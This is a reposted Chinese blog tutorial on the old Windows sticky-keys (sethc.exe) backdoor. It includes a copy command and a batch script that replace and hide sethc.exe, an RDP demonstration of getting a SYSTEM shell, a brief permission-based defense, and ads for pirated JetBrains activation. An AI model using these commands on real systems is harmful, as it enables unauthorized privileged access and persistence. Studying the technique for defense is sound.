《老漏洞复现与分析篇》 – 其一 – shift后门

《老漏洞复现与分析篇》 – 其一 – shift后门引言因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个“老”字,整一点多年前的老漏洞拿来复现和分析。俗话说得好,要善于总结前人的经验和智慧,才能在自己的前进道路上走得更快。本系列在我能理解的范围内我都会详细讲解,我不能理解的就靠收集网上的资料了,引用会注明来源和作者,如有侵权请联系我删除。那么废话…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

引言
因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个“老”字,整一点多年前的老漏洞拿来复现和分析。俗话说得好,要善于总结前人的经验和智慧,才能在自己的前进道路上走得更快。

本系列在我能理解的范围内我都会详细讲解,我不能理解的就靠收集网上的资料了,引用会注明来源和作者,如有侵权请联系我删除。那么废话不多说,开始我们的新篇章,Here we go!

0x01 shift后门

说到这个东西就先提一下它的来源—— Windows粘滞键
Windows粘滞键本身是为了不方便同时按组合键的人群使用的功能,在连按5次shift键后打开粘滞键,也就是启动了system32目录下的sethc.exe

《老漏洞复现与分析篇》 - 其一 - shift后门

在登入状态中,连按5次shift会以当前用户权限执行sethc.exe,而在登录界面还未登录时会默认以system用户(管理员权限)执行。

0x02 原理

原理也很简单,连按5次shift,windows会在system32目录下寻找sethc.exe并启动,我们只需要把cmd或者其他的shell程序替换掉,那么我们启动sethc.exe的时候就会默认以system用户执行我们的cmd,而且因为是系统自带的应用所以不会被杀毒软件检测

0x03 复现

如果我们在渗透过程中拿到较高权限的shell就可以直接在shell里面执行命令

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

或者在拿到远程桌面后直接在系统里面替换
这里再贴一个用的比较广泛的批处理,具体步骤可以自己分析

@copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
@attrib c:\windows\system32\sethc.exe +h
@attrib c:\windows\system32\dllcache\sethc.exe +h
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

我这里拿虚拟机做个演示,先打开3389端口

《老漏洞复现与分析篇》 - 其一 - shift后门

然后复制cmd到system32目录下并且命名sethc.exe,或者可以下载更隐藏的后门软件,我这里用的是黑基2012的后门,隐蔽性更高

《老漏洞复现与分析篇》 - 其一 - shift后门

替换成功

《老漏洞复现与分析篇》 - 其一 - shift后门

接下来我们用主机连接远程桌面试试

《老漏洞复现与分析篇》 - 其一 - shift后门

启动成功,并且为system权限

《老漏洞复现与分析篇》 - 其一 - shift后门

《老漏洞复现与分析篇》 - 其一 - shift后门

因为远程桌面存在时间限制自动断开连接,所以需要尽快添加用户

0x04 防御

防御方法其实也很简单粗暴,就是直接设置权限让所有人都用不了,这样无论是删除还是访问都会显示拒绝访问。
注意,这里不是直接删除,删除后系统可能会自动找回。

其实随着时代的发展,系统的更新换代,在权限分级更严格的今天,这种方法对很多系统已经不管用了,不过重要的是学到一个思路,说不定今后还能遇到用得上的地方呢
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/192897.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 数组转集合集合转数组_数组与集合的区别

    数组转集合集合转数组_数组与集合的区别一、数组转集合:String[]array={“1″,”2″,”3″,”4”};List<String>list=Arrays.asList(array);ListarrList=newArrayList(list);arrList.add(“5”);二、集合转数组:…

    2025年6月3日
    2
  • java socket发送中文乱码_java Socket接收数据乱码问题「建议收藏」

    java socket发送中文乱码_java Socket接收数据乱码问题「建议收藏」));}问题:1.此出输出的数据与我发送的数据不一致2.如果我用strSql=String.valueOf(buffer,0,nDataLen-1);则输出的是方块3.同样我用另外一个程序测试端口6789的数据,打印出来的也是方块,不知道是什么原因,请各位老大帮帮忙分析一下原因,三叩首了!!![/B]测试程序:importjava.nio.channels.ServerSocketCh…

    2022年7月8日
    33
  • idea正则替换小技巧「建议收藏」

    idea正则替换小技巧「建议收藏」相信很多idea开发的人都遇到过要替换某些拷贝的内容然后转换成自己的注释,但是一个一个替换又太麻烦,正则替换这时就是快速解决的办法。如下面图所示这个java类里面的属性就是mybatis的自动生成,带了很多注释,但如果想换成swagger来展示给前端看的时候就需要替换成下面的样子。想要做到这一步只需要执行下面的正则就行。首先点击打开替换窗口,idea原生快捷键按CTRL+R就行,全…

    2022年9月27日
    2
  • docker离线安装部署_docker官方中文文档

    docker离线安装部署_docker官方中文文档离线安装docker

    2022年9月26日
    4
  • git log 查看 当前分支的 提交历史[通俗易懂]

    git log 查看 当前分支的 提交历史[通俗易懂]gitlog查看当前分支的提交历史在提交了若干更新之后,想回顾下提交历史,可以使用gitlog命令查看默认不用任何参数的话,gitlog会按提交时间列出所有的更新,最近的更新排在最上面。看到了吗,每次更新都有一个SHA-1校验和、作者的名字和电子邮件地址、提交时间,最后缩进一个段落显示提交说明。gitlog有许多选项可以帮助你搜寻感兴趣的提交,接下来我们…

    2022年8月22日
    12
  • clientWidth offsetWidth innerWidth 区别(窗口尺寸 汇总)「建议收藏」

    clientWidth offsetWidth innerWidth 区别(窗口尺寸 汇总)「建议收藏」原文链接:http://www.cnblogs.com/youxin/archive/2012/09/21/2697514.htmlscrollWidth 是对象的实际内容的宽,不包边线宽度,会随对象中内容的多少改变(内容多了可能会改变对象的实际宽度)。 clientWidth 是对象可见的宽度,不包滚动条等边线,会随窗口的显示大小改变。 offsetWidth 是对象的可

    2022年7月22日
    13

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号